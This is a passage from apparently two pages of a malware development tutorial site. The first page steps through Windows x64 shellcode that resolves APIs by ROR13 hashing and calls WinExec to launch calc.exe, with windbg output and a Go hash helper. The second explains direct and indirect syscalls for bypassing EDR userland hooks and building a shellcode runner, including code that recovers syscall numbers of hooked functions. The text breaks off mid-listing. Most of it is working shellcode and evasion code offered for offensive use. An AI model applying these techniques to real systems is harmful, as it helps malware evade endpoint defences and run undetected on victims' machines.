get the NT header offset " xor r15, r15;", " mov r15b, 0x88;", // Offset to Export Directory " add r15, r9;", " add r15, rcx;", " mov r15d, dword ptr [r15];", // Get the RVA of the export directory " add r15, r9;", // R15 stores the VMA of the export directory " mov ecx, dword ptr [r15 + 0x18];", // ECX stores the number of function names as an index value " mov r14d, dword ptr [r15 + 0x20];", // Get the RVA of ENPT " add r14, r9;", // R14 stores the VMA of ENPT The parse\_module function expects 2 values from the caller: * R9 -> should hold the base address of the dll * R8d -> should have the hash of the function (more on this [later](https://www.scriptchildie.com/payloads/shellcode-development/2.-windows-x64-shellcode-development-intro#helper-code-for-hash-calculation) ) Line 2: The offset value to the beginning of the nt header is moved to ecx PE-bear is an excellent tool that can be used to cross check if the values we see in windbg are indeed the right ones. ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252FO3Sj0IeuNTxRFwvern1n%252Fimage.png%3Falt%3Dmedia%26token%3Da17da6c1-0ae4-425a-97d1-d031aad7fdb4&width=768&dpr=4&quality=100&sign=c30e4945&sv=2) DOS header Let's step over the code in line 2 to make sure we are getting the correct result. The value we expect to see in ecx is E8. Copy 0:010> t 000001f8`6d17001d 418b493c mov ecx,dword ptr [r9+3Ch] ds:00007ffc`2127003c=000000e8 0:010> p 000001f8`6d170021 4d31ff xor r15,r15 0:010> r ecx ecx=e8 Lines 3-7: What happens on these lines is basically the following calculation NtHeader = DllBase + 0xE8 Export Directory = NtHeader + 0x88 Copy 0:010> ?e8+0x88 Evaluate expression: 368 = 00000000`00000170 From a quick calculation we can see that Export directory is at offset 0x170 from the base address. Let's check in PE Bear if that offset points to the export directory in PE Bear ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252FRLwJowWFulf0NY3K22Zq%252Fimage.png%3Falt%3Dmedia%26token%3Def3c8598-e90a-48be-9c85-3c9e63e178aa&width=768&dpr=4&quality=100&sign=b130fb25&sv=2) Optional Header We can see that the offset 0x170 points to the RVA of the export directory. Let's walk over the following instruction in windbg to ensure that r15 holds the RVA value we expect to see Copy " mov r15d, dword ptr [r15];", When we move a dword in the lower 32-bits of a register, the higher 32-bits are filled with 0s. This is not the case when we move a value into the lower 16-bits of the register. Copy 0:010> r r15 r15=000000000009e750 We can now add r9 which holds the dllBase address to calculate the absolute address of the Export directory. Copy " add r15, r9;", ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252F1CenixbigmdkGqs7dRr6%252Fimage.png%3Falt%3Dmedia%26token%3D181991da-6b95-43f2-ba72-80ebb9f6b5b6&width=768&dpr=4&quality=100&sign=47f97a28&sv=2) Exports In windbg we can confirm that we are indeed pointing to the right location by viewing the first two double words. Copy 0:010> r r15; dd r15 L2 r15=00007ffc2130e750 00007ffc`2130e750 00000000 2e35230e We can see the value of Characteristics (00000000 ) and ReproChecksum (2e35230e) Copy " mov ecx, dword ptr [r15 + 0x18];", // ECX stores the number of function names as an index value " mov r14d, dword ptr [r15 + 0x20];", // Get the RVA of ENPT " add r14, r9;", // R14 stores the VMA of ENPT The last 3 lines store the number of function names in ecx and the address of names in r14. Copy 0:010> r ecx ecx=687 Copy 0:010> dd r14 00007ffc`21310194 000a28cb 000a2904 000a2937 000a2946 00007ffc`213101a4 000a295b 000a2980 000a2989 000a2992 00007ffc`213101b4 000a29a3 000a29b4 000a29f9 000a2a1f A quick look in PE-bear reveals that we have the right values in both ecx, and r14. We can see that the first value at r14 is the same as the first Name RVA below. ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252FtwFxbxFshmSra0HwfpAv%252Fimage.png%3Falt%3Dmedia%26token%3Ddb9c88a0-41a5-4bf6-b414-d8f1fbe26020&width=768&dpr=4&quality=100&sign=71f6d8f6&sv=2) NameRVA #### [](https://www.scriptchildie.com/payloads/shellcode-development/2.-windows-x64-shellcode-development-intro#search_function) search\_function Copy "search_function:", // Search for a given function " jrcxz not_found;", // If RCX is 0, the given function is not found " dec ecx;", // Decrease index by 1 " xor rsi, rsi;", " mov esi, [r14 + rcx*4];", // RVA of function name string " add rsi, r9;", // RSI points to function name string . . . "not_found:", " ret;", The functionality of this code is fairly simple. Line 2: checks if ecx = 0 and if it is it jumps to line 10 that terminates the execution of our shellcode. When ecx is 0 it means that our shellcode went through the whole export list without finding the requested function. Line3: Decrements ecx by 1 for every iteration Line4: zeros rsi Line 5: For the first iteration the last Export RVA is moved to esi Line 6: Adds base address to RVA to get absolute value in rsi The second time the loop reaches this point this is the output from Windbg Copy 000001f8`6d170049 4c01ce add rsi,r9 0:010> r rsi rsi=00000000000ad02a 0:010> p 000001f8`6d17004c 4831c0 xor rax,rax 0:010> db rsi 00007ffc`2131d02a 75 61 77 5f 77 63 73 6c-65 6e 00 75 61 77 5f 77 uaw_wcslen.uaw_w 00007ffc`2131d03a 63 73 72 63 68 72 00 00-00 00 f0 f0 0a 00 00 00 csrchr.......... It matches the exported functions from PE-bear ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252FJzArZrsYPYvxXv8XQJaJ%252Fimage.png%3Falt%3Dmedia%26token%3De1d32d92-bc8a-43b5-bd2a-7561ed7344c8&width=768&dpr=4&quality=100&sign=8eda9e46&sv=2) Exports in PE bear #### [](https://www.scriptchildie.com/payloads/shellcode-development/2.-windows-x64-shellcode-development-intro#function_hashing) function\_hashing The shellcode author in this case came up with a smart algorithm that generates a hash based on the Function name. It then compares the generated hash with the hash we provide it. The caveat of that is that we have to write a [piece of code](https://www.scriptchildie.com/payloads/shellcode-development/2.-windows-x64-shellcode-development-intro#helper-code-for-hash-calculation) to calculate that hash for us. Copy "function_hashing:", // Hash function name function " xor rax, rax;", " xor rdx, rdx;", " cld;", // Clear DF flag "iteration:", // Iterate over each byte " lodsb;", // Copy the next byte of RSI to Al " test al, al;", // If reaching the end of the string " jz compare_hash;", // Compare hash " ror edx, 0x0d;", // Part of hash algorithm " add edx, eax;", // Part of hash algorithm " jmp iteration;", // Next byte Lines 1-4 : Zero rax & rdx and clear DF flag The iteration code is where the hashing happens. Line 6: loadsb takes the first byte from the address pointed to by the RSI and write is to the lowest byte of rax (al) Lines 8-9: Checks if the value is 0 that indicates the end of the string and jumps to the next function Line 10: The x86-64 assembly instruction `ror edx, 0x0d` performs a "rotate right" operation on the contents of the edx register. In this case, the rotation is by 13 bits (0x0d in hexadecimal is 13 in decimal). Imagine edx could only hold 4 bits. Here is an example of the ror effect after rotating right 1 bit. Copy edx = 0101 ror edx, 0x01 edx= 1010 Line 11: Adds eax to edx Line 12: Loops to the next byte #### [](https://www.scriptchildie.com/payloads/shellcode-development/2.-windows-x64-shellcode-development-intro#compare_hash) compare\_hash Copy "compare_hash:", // Compare hash " cmp edx, r8d;", " jnz search_function;", // If not equal, search the previous function (index decreases) " mov r10d, [r15 + 0x24];", // Ordinal table RVA " add r10, r9;", // Ordinal table VMA " movzx ecx, word ptr [r10 + 2*rcx];", // Ordinal value -1 " mov r11d, [r15 + 0x1c];", // RVA of EAT " add r11, r9;", // VMA of EAT " mov eax, [r11 + 4*rcx];", // RAX stores RVA of the function " add rax, r9;", // RAX stores VMA of the function " ret;", The last part of the code is where the actual comparison takes place with the provided hash. Our hash will be located in r8d. Line 2: Compares calculated hash from the previous function with the one we provided Line 3: If they are not equal it jumps back to our search\_function loop to get the next entry. Lines 4-10 Only execute if the provided and calculated hashes match Line 4: r15 holds the address of the export directory. The offset 0x24 points to the AddressOfNameOrdinals ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252FgDeBsFZmK6hbcNMebcX8%252Fimage.png%3Falt%3Dmedia%26token%3Dd2674e6d-6a19-45c6-b66a-45f4019e9c12&width=768&dpr=4&quality=100&sign=dc810512&sv=2) Exports directory Copy 000001f8`6d170064 458b5724 mov r10d,dword ptr [r15+24h] ds:00007ffc`2130e774=000a1bb0 0:010> p 000001f8`6d170068 4d01ca add r10,r9 0:010> r r10 r10=00000000000a1bb0 Line 5: Adds base address to the RVA to get absolute address of the Address of name ordinal Line 6: Adds the ordinal value of the function above the desired one in ecx ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252FaeuWCxyKVRXMPYxRf4ve%252Fimage.png%3Falt%3Dmedia%26token%3De750e09c-1ecf-46a8-9efb-520f22964aba&width=768&dpr=4&quality=100&sign=27199f28&sv=2) Function Ordinal Copy 0:010> r ecx ecx=638 As we can see the ordinal value in ecx is pointing to the function WideCharToMultiByte The ordinal value of WinExec is 639. Lines 7-8: Point to the addresses of functions. That 's the value we need to call the function. Line 9: Gets the RVA of the address of function for WinExec in eax Copy 0:010> r eax eax=68660 Comparing with the previous screenshot we can see that it's a match Line 10: We add the base address and we have the function in the rax register ready to be called as needed. ### [](https://www.scriptchildie.com/payloads/shellcode-development/2.-windows-x64-shellcode-development-intro#helper-code-for-hash-calculation) Helper code for hash calculation If you made it to this point, you are probably wondering how can you calculate the hash and provide it to the assembly code. The following code will calculate and print the hash for us: Copy package main import ( "fmt" "math/bits" ) func main() { funcName := "WinExec" fmt.Printf("Function Name: %s , Function Hash: 0x%x", funcName, HashCalculator(funcName)) } func HashCalculator(funcName string) uint32 { var hash uint32 = 0 // Convert string to byte slice byteSlice := []byte(funcName) for _, byte := range byteSlice { hash = bits.RotateLeft32(hash, -0x0d) hash += uint32(byte) } return hash } [![Logo](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2Fgo.dev%2Fimages%2Ffavicon-gopher.png&width=20&dpr=4&quality=100&sign=bfdabb07&sv=2)Go Playground - The Go Programming Languagegolang](https://go.dev/play/p/o6AZbAcQ-8l) ### [](https://www.scriptchildie.com/payloads/shellcode-development/2.-windows-x64-shellcode-development-intro#call-the-winexec-function) Call the WinExec function Copy "call_winexec:", " mov r8d, 0xe8afe98;", // WinExec Hash " call parse_module;", // Search and obtain address of WinExec " xor rcx, rcx;", " push rcx;", // \0 " mov rcx, 0x6578652e636c6163;", // exe.clac " push rcx;", " lea rcx, [rsp];", // Address of the string as the 1st argument lpCmdLine " xor rdx,rdx;", " inc rdx;", // uCmdShow=1 as the 2nd argument " sub rsp, 0x28;", " call rax;", // WinExec We now reach the end of our code. Referring back to the [original go code](https://www.scriptchildie.com/payloads/shellcode-development/2.-windows-x64-shellcode-development-intro#objective) we need to get a pointer to a null terminated string, in this example a pointer to 'calc.exe' and then call the function. Line 2: we can use the [helper code](https://www.scriptchildie.com/payloads/shellcode-development/2.-windows-x64-shellcode-development-intro#helper-code-for-hash-calculation) to calculate the function hash: Copy Function Name: WinExec , Function Hash: 0xe8afe98 We then feed the value to r8d. Line 3: We call the parse\_module function. if everything went well rax will have the address of the function ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252FfOTLvCTWS9p7P3vDN8wA%252Fimage.png%3Falt%3Dmedia%26token%3Dbbce0061-1f07-4c62-932d-38f585ef4f07&width=768&dpr=4&quality=100&sign=2aded026&sv=2) rax holds the address of WinExec Great, we now only have to pass the arguments to the function. It's a good place to pause now and have a quick look on the x64 calling convention. When calling a function in x64 the first four arguments will go to the registers rcx,rdx,r8,r9 and all the rest to the stack from right to left. So the last argument should be pushed to the stack first and so on. A great source of information is [Microsoft's website](https://learn.microsoft.com/en-us/cpp/build/x64-calling-convention?view=msvc-170) . ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252FDIbnccffy7o7EKdG7dJi%252Fimage.png%3Falt%3Dmedia%26token%3D63e0a818-0256-4fd2-94e8-a5fec61bee2d&width=768&dpr=4&quality=100&sign=2a8c7748&sv=2) [x64 Windows Calling Convention](https://learn.microsoft.com/en-us/cpp/build/x64-calling-convention?view=msvc-170#parameter-passing) With this knowledge let's pass the arguments to WinExec. Copy UINT WinExec( [in] LPCSTR lpCmdLine, [in] UINT uCmdShow ); So WinExec definition from microsoft states that that the first argument should be the a pointer to the null terminated string. Lines 4-8: Line 4: zero -> rcx Line 5: push 0 to the stack. This will act as the null termination Line 6: The hex values of calc.exe are moved to rcx To convert ascii to hex I am using this online converter [https://www.rapidtables.com/convert/number/ascii-to-hex.html](https://www.rapidtables.com/convert/number/ascii-to-hex.html) calc.exe = 63 61 6C 63 2E 65 78 65 + 00 Copy " mov rcx, 0x6578652e636c6163;", // exe.clac Be careful when the bytes are pushed into the stack the order will be reversed, so the bytes should be written in the register in reverse order as shown above. Also the register can only hold 8-bytes so if the string is longer we will need to go through this process multiple times until the whole string is stored Line 7: Pushes the string to the stack Line 8: Get a pointer to the string in the rcx register. ( first argument) Lines 9-10: zero rdx and inc by 1. Line 11: Argument storage space ( shadow space) and stack alignment Line 12: Finally calling the function. Copy 0:010> r rcx,rdx rcx=0000001ea51ff9d8 rdx=0000000000000001 0:010> da 0000001ea51ff9d8 0000001e`a51ff9d8 "calc.exe" Just before calling the function this is what we see in rcx,rdx which is exactly what we expect. Stepping over the function should launch a calc.exe process ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252Fa6Pg6AswKmfNPyG6x6sQ%252Fimage.png%3Falt%3Dmedia%26token%3D8578af7d-1696-4d4d-8d2e-ce8c5ae737b4&width=768&dpr=4&quality=100&sign=8963fedd&sv=2) Success The whole shellcode template can be found [here](https://github.com/scriptchildie/goShellcodeDevelopment) . Last updated 1 year ago Was this helpful? --- # 4. Direct and Indirect Syscalls (shellcode runner) | Malware Development ### [](https://www.scriptchildie.com/evasion/edr-bypass/2.-userland-hooks/4.-direct-and-indirect-syscalls-shellcode-runner#intro) Intro In the previous [section](https://www.scriptchildie.com/evasion/edr-bypass/2.-userland-hooks/3.-programmatically-detect-ntdll-hooks) we worked on a piece of code to detect if ntdll.dll was hooked by the EDR installed on the machine. Once a hook is detected we have a few choices. We could replace the hook bytes with the original bytes by calculating the SSN. This is a similar approach to loading a [fresh copy from the disk](https://www.scriptchildie.com/evasion/edr-bypass/2.-userland-hooks/2.-load-a-fresh-copy-of-the-dll-from-disk) . The only difference is that we don't remap the whole dll we just unhook the functions of interest. The issue with this approach is that we still have to modify the dll in memory. This includes using the suspicious WinAPIs VirtualProtect(Ex) WriteProcessMemory etc. Another issue with this approach is that theese functions themselves might be hooked. This is where the Direct and Indirect syscalls come in handy. ### [](https://www.scriptchildie.com/evasion/edr-bypass/2.-userland-hooks/4.-direct-and-indirect-syscalls-shellcode-runner#what-is-a-syscall) What is a syscall ? #### [](https://www.scriptchildie.com/evasion/edr-bypass/2.-userland-hooks/4.-direct-and-indirect-syscalls-shellcode-runner#sequence-of-events-when-calling-windows-apis) Sequence of events when calling windows APIs Before going into detail on what a syscall is let's analyze the sequence of events that take place when a simple windows API function is called. The following code is used for analysis. Copy func main() { PROCESS_ALL_ACCESS := 0x1F0FFF time.Sleep(30 * time.Second) println("run") pHandle, _ := windows.OpenProcess(uint32(PROCESS_ALL_ACCESS), false, 9340) windows.CloseHandle(pHandle) } All we do in this code is sleep for 30 seconds , just to have enough time to attach windbg and set our breakpoints get a handle on a process and then close the handle. When we try to set a breakpoint on kernel32!OpenProcess we get the following error Copy 0:006> bp kernel32!OpenProcess Couldn't resolve error at 'kernel32!OpenProcess' To list all functions starting with O in kernel32 we use the following command Copy 0:006> x /D /f KERNEL32!o* A B C D E F G H I J K L M N O P Q R S T U V W X Y Z 00007ffa`9aa83a32 KERNEL32!OpenFile$fin$0 (void) 00007ffa`9aa36330 KERNEL32!OOBEComplete (void) 00007ffa`9aa2832c KERNEL32!OpenSortIdKey (void) 00007ffa`9aa37e20 KERNEL32!OOBECompleteWnfQueryCallback (void) 00007ffa`9aa896c0 KERNEL32!OOBECompleteWnfWaitCallback (void) 00007ffa`9aa39260 KERNEL32!OpenFileMappingWStub (OpenFileMappingWStub) 00007ffa`9aa40340 KERNEL32!OpenWaitableTimerW (OpenWaitableTimerW) 00007ffa`9aa39640 KERNEL32!OutputDebugStringWStub (OutputDebugStringWStub) 00007ffa`9aa40300 KERNEL32!OpenEventA (OpenEventA) 00007ffa`9aa8b440 KERNEL32!OpenConsoleW (OpenConsoleW) 00007ffa`9aa39720 KERNEL32!OutputDebugStringAStub (OutputDebugStringAStub) 00007ffa`9aa846b0 KERNEL32!OpenWaitableTimerA (OpenWaitableTimerA) 00007ffa`9aa34730 KERNEL32!OpenProcessStub (OpenProcessStub) 00007ffa`9aa40310 KERNEL32!OpenEventW (OpenEventW) 00007ffa`9aa834e0 KERNEL32!OpenFile (OpenFile) 00007ffa`9aa82e70 KERNEL32!OpenPrivateNamespaceA (OpenPrivateNamespaceA) 00007ffa`9aa5be60 KERNEL32!OpenConsoleWStub (OpenConsoleWStub) 00007ffa`9aa39e00 KERNEL32!OpenProfileUserMapping (OpenProfileUserMapping) 00007ffa`9aa845b0 KERNEL32!OpenMutexA (OpenMutexA) 00007ffa`9aa7cc50 KERNEL32!OpenJobObjectA (OpenJobObjectA) 00007ffa`9aa5be70 KERNEL32!OpenPrivateNamespaceWStub (OpenPrivateNamespaceWStub) 00007ffa`9aa40330 KERNEL32!OpenSemaphoreW (OpenSemaphoreW) 00007ffa`9aa470e0 KERNEL32!OpenFileMappingA (OpenFileMappingA) 00007ffa`9aa7ccd0 KERNEL32!OpenJobObjectW (OpenJobObjectW) 00007ffa`9aa84630 KERNEL32!OpenSemaphoreA (OpenSemaphoreA) 00007ffa`9aa369b0 KERNEL32!OpenThreadStub (OpenThreadStub) 00007ffa`9aa40320 KERNEL32!OpenMutexW (OpenMutexW) 00007ffa`9aa46ca0 KERNEL32!OpenFileByIdStub (OpenFileByIdStub) What we are interested here is to get a break point `00007ffa9aa34730 KERNEL32!OpenProcessStub` on line 16. We will then follow execution to understand what happens. Let's set a breakpoint in windbg using the following command Copy 0:006> bp KERNEL32!OpenProcessStub Then sending the command `g` resumes execution until our breakpoint hit. Copy 0:006> g Breakpoint 0 hit *** WARNING: Unable to verify timestamp for C:\Users\ALEXAN~1\AppData\Local\Temp\go-build3312435584\b001\exe\OpenProc.exe KERNEL32!OpenProcessStub: 00007ffa`9aa34730 48ff25490a0700 jmp qword ptr [KERNEL32!_imp_OpenProcess (00007ffa`9aaa5180)] ds:00007ffa`9aaa5180={KERNELBASE!OpenProcess (00007ffa`998bc580)} The jmp instruction on line 5 directs execution to the address held at 00007ffa\`9aaa5180, which is the address of kernelbase!OpenProcess. Copy 0:000> dq 00007ffa`9aaa5180 L1 00007ffa`9aaa5180 00007ffa`998bc580 0:000> u 00007ffa`998bc580 KERNELBASE!OpenProcess: 00007ffa`998bc580 4c8bdc mov r11,rsp 00007ffa`998bc583 4883ec68 sub rsp,68h So far we called the OpenProcess api from kernel32 which forwards our request to kernelbase to execute. So where do syscalls come in? Let's dig further into the kernelbase where the actual implementation of the OpenProcess function is. Copy KERNELBASE!OpenProcess: 00007ffa`998bc580 4c8bdc mov r11,rsp 00007ffa`998bc583 4883ec68 sub rsp,68h 00007ffa`998bc587 498363c000 and qword ptr [r11-40h],0 00007ffa`998bc58c 4d8d4bb8 lea r9,[r11-48h] 00007ffa`998bc590 4963c0 movsxd rax,r8d 00007ffa`998bc593 0f57c0 xorps xmm0,xmm0 00007ffa`998bc596 c744243030000000 mov dword ptr [rsp+30h],30h 00007ffa`998bc59e 4d8d43c8 lea r8,[r11-38h] 00007ffa`998bc5a2 498363d000 and qword ptr [r11-30h],0 00007ffa`998bc5a7 f7da neg edx 00007ffa`998bc5a9 498943b8 mov qword ptr [r11-48h],rax 00007ffa`998bc5ad 8bd1 mov edx,ecx 00007ffa`998bc5af 498d4b20 lea rcx,[r11+20h] 00007ffa`998bc5b3 1bc0 sbb eax,eax 00007ffa`998bc5b5 83e002 and eax,2 00007ffa`998bc5b8 89442448 mov dword ptr [rsp+48h],eax 00007ffa`998bc5bc 498363d800 and qword ptr [r11-28h],0 00007ffa`998bc5c1 f30f7f442450 movdqu xmmword ptr [rsp+50h],xmm0 00007ffa`998bc5c7 48ff15fa362300 call qword ptr [KERNELBASE!_imp_NtOpenProcess (00007ffa`99aefcc8)] 00007ffa`998bc5ce 0f1f440000 nop dword ptr [rax+rax] 00007ffa`998bc5d3 85c0 test eax,eax 00007ffa`998bc5d5 780e js KERNELBASE!OpenProcess+0x65 (00007ffa`998bc5e5) 00007ffa`998bc5d7 488b842488000000 mov rax,qword ptr [rsp+88h] 00007ffa`998bc5df 4883c468 add rsp,68h 00007ffa`998bc5e3 c3 ret Line 20: we can see another call which eventually takes us to ntdll!NtOpenProcess NtOpenProcess in the ntdll.dll is where the syscall resides. Copy 00007ffa`9c12f203 b826000000 mov eax,26h 00007ffa`9c12f208 f604250803fe7f01 test byte ptr [SharedUserData+0x308 (00000000`7ffe0308)],1 00007ffa`9c12f210 7503 jne ntdll!NtOpenProcess+0x15 (00007ffa`9c12f215) 00007ffa`9c12f212 0f05 syscall 00007ffa`9c12f214 c3 ret 00007ffa`9c12f215 cd2e int 2Eh 00007ffa`9c12f217 c3 ret #### [](https://www.scriptchildie.com/evasion/edr-bypass/2.-userland-hooks/4.-direct-and-indirect-syscalls-shellcode-runner#so-here-comes-the-question-again.-what-is-a-syscall-and-what-does-it-actually-do) So here comes the question again. What is a syscall and what does it actually do ? Under the hood, when a user-mode application calls one of these API functions, the Windows kernel handles the actual system call invocation. The transition from user mode to kernel mode is typically managed through a mechanism called a software interrupt or a similar mechanism. So in order to get a handle on a process all we don't really have to call either of the three functions. All we have to do is follow the [x64 calling convention](https://learn.microsoft.com/en-us/cpp/build/x64-calling-convention?view=msvc-170) to prepare our registers and the stack move 0x26 (for this particular version of windows) to eax and call the syscall instruction. The benefit of directly (or indirectly) calling the syscall instruction is that any EDR that relies on userland hooks for detection will be bypassed. ### [](https://www.scriptchildie.com/evasion/edr-bypass/2.-userland-hooks/4.-direct-and-indirect-syscalls-shellcode-runner#direct-or-indirect-syscalls) Direct or Indirect Syscalls. #### [](https://www.scriptchildie.com/evasion/edr-bypass/2.-userland-hooks/4.-direct-and-indirect-syscalls-shellcode-runner#direct-syscalls) Direct Syscalls What "direct syscalls" means is that an asm function is written within our executable that calls the syscall instruction directly. Since syscalls are only called from ntdll.dll any calls coming from any other module should be malicious or at least flagged as anomalous. Direct Syscalls have served us well. One of the early articles I remember reading regarding syscalls was this one from [outflank](https://outflank.nl/blog/2019/06/19/red-team-tactics-combining-direct-system-calls-and-srdi-to-bypass-av-edr/) written back in 2019. Although direct syscalls are effective to this day EDR vendors started catching up with the technique ([elastic detection of Direct Syscall via Assembly Bytes](https://www.elastic.co/security-labs/peeling-back-the-curtain-with-call-stacks?ultron=esl:_threat_research%2Besl_blog_post&blade=twitter&hulk=social&utm_content=11321800240&linkId=234949506) ). The detection essentially checks if the following sequence of instructions is called from any other module other than ntdll. If that's the case it's flagged as malicious. Copy mov r10,rcx; mov eax,ssn; syscall; #### [](https://www.scriptchildie.com/evasion/edr-bypass/2.-userland-hooks/4.-direct-and-indirect-syscalls-shellcode-runner#indirect-syscalls) Indirect Syscalls The easiest way around this detection is to find the location of syscall within ntdll.dll and instead of directly calling syscall in our assembly function we instead use the call instruction to call the address within the ntdll that holds syscall. In our example above the function will look something like this: Copy mov r10,rcx; mov eax,ssn; call addr; In the [previous blog](https://www.scriptchildie.com/evasion/edr-bypass/2.-userland-hooks/3.-programmatically-detect-ntdll-hooks) we stored an address value in a variable called "trampoline". The trampoline variable was the syscall instruction address for each exported function of the ntdll. With all the knowledge we have now let's write the [shellcode runner](https://www.scriptchildie.com/malware-development-in-golang-introduction/golang-programming-intro/4.-shellcode-runner) using both direct and indirect syscalls. ### [](https://www.scriptchildie.com/evasion/edr-bypass/2.-userland-hooks/4.-direct-and-indirect-syscalls-shellcode-runner#shellcode-runner-using-direct-and-indirect-syscalls) Shellcode Runner using direct and indirect syscalls Before we start writing our shellcode runner we need to modify our code first to perform the following: * Calculate the SSNs of the hooked functions using the adjacent unhooked functions * We can do this by sorting all functions by their address * The SSNs are sequential for both Zw and Nt functions * Find the last unhooked function and extrapolate the values * Develop the assembly functions to call the syscalls / indirect syscalls * Write wrapper functions to call from our golang main function Let's continue from where we left off. #### [](https://www.scriptchildie.com/evasion/edr-bypass/2.-userland-hooks/4.-direct-and-indirect-syscalls-shellcode-runner#calculate-the-ssns-of-the-hooked-functions-using-the-adjacent-unhooked-functions) Calculate the SSNs of the hooked functions using the adjacent unhooked functions It is fairly easy to find the unhooked values since we keep our values in a slice. We will loop through the values in the slice and if a function is hooked we will increase the SSN of the previous value by 1. Here is the unhooking function. Copy for i, fun := range dll.exportedNtFunctions { if fun.isHooked { dll.exportedNtFunctions[i].syscallno = dll.exportedNtFunctions[i-1].syscallno + 1 dll.exportedNtFunctions[i].isHooked = false } } As mentioned earlier we could restore the value in memory but that would require changing memory permissions therefore more opportunities for the defenders to be alerted. In our main function we run the UnhookFuncs function and print the exports again on the host running OpenEDR. Copy dll.PrintExports() dll.UnhookFuncs() dll.PrintExports() ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252FDvluG57cCZ1CwQACeqD7%252Fimage.png%3Falt%3Dmedia%26token%3Dc4637951-ca5e-4329-95c6-2d88ab9bb95b&width=768&dpr=4&quality=100&sign=469b4226&sv=2) Before and after running the UnhookFuncs() function Let's cross check that the value 0x33 if it's the correct SSN for NtOpenFile from another identical windows host not running an EDR. ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252FSlJEmK634xzQSFKGWttd%252Fimage.png%3Falt%3Dmedia%26token%3D14e6c7b8-1fe3-4544-8f59-9447ed966ca6&width=768&dpr=4&quality=100&sign=81d76382&sv=2) NtOpenFile SSN We have programmatically managed to get the correct SSN values of the hooked functions. We are now ready to start building the assembly functions that perform direct and indirect syscalls. #### [](https://www.scriptchildie.com/evasion/edr-bypass/2.-userland-hooks/4.-direct-and-indirect-syscalls-shellcode-runner#assembly-functions) Assembly Functions Since writing assembly is not the aim of this blog post I will not go in too much detail about it. If this is a subject of interest you can review the [go documentation](https://go.dev/doc/asm) and the [plan 9 assembler manual](https://9p.io/sys/doc/asm.html) . Also keep an eye out for my upcoming goASM blog. For the sake of simplicity we will take the ASM functions from two existing projects. 1. Direct Syscall Function from BananaPhone Project is located [here](https://github.com/C-Sto/BananaPhone/blob/master/pkg/BananaPhone/asm_x64.s) 2. Indirect Syscall Function from acheron project is located [here](https://github.com/f1zm0/acheron) Both of these functions are essentially modified versions of the [Golang function](https://go.dev/src/runtime/sys_windows_amd64.s) (asmstdcall) used to perform windows API calls. **Let's have a quick look at the direct syscall function** Copy //based on https://golang.org/src/runtime/sys_windows_amd64.s #define maxargs 16 //func Syscall(callid uint16, argh ...uintptr) (uint32, error) TEXT ·bpSyscall(SB), $0-56 XORQ AX,AX MOVW callid+0(FP), AX PUSHQ CX //put variadic size into CX MOVQ argh_len+16(FP),CX //put variadic pointer into SI MOVQ argh_base+8(FP),SI // SetLastError(0). MOVQ 0x30(GS), DI MOVL $0, 0x68(DI) SUBQ $(maxargs*8), SP // room for args // Fast version, do not store args on the stack. CMPL CX, $4 JLE loadregs // Check we have enough room for args. CMPL CX, $maxargs JLE 2(PC) INT $3 // not enough room -> crash // Copy args to the stack. MOVQ SP, DI CLD REP; MOVSQ MOVQ SP, SI loadregs: //move the stack pointer????? why???? SUBQ $8, SP // Load first 4 args into correspondent registers. MOVQ 0(SI), CX MOVQ 8(SI), DX MOVQ 16(SI), R8 MOVQ 24(SI), R9 // Floating point arguments are passed in the XMM // registers. Set them here in case any of the arguments // are floating point values. For details see // 